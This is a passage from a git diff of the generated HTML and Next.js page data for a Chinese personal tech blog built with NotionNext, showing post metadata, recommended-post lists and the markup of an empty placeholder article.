90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-6"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/example-7.html b/article/example-7.html
index 05c043e44..1acf593dd 100644
--- a/article/example-7.html
+++ b/article/example-7.html
@@ -4,7 +4,7 @@
 这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"/><meta property="og:url" content="https://bothsavage.github.io//article/example-7"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容;
 这里写文章的前言:
-一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"/><meta name="twitter:title" content="空白文章7 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章7</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-d43cadd538cc48cea44d188a8215cd7d"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 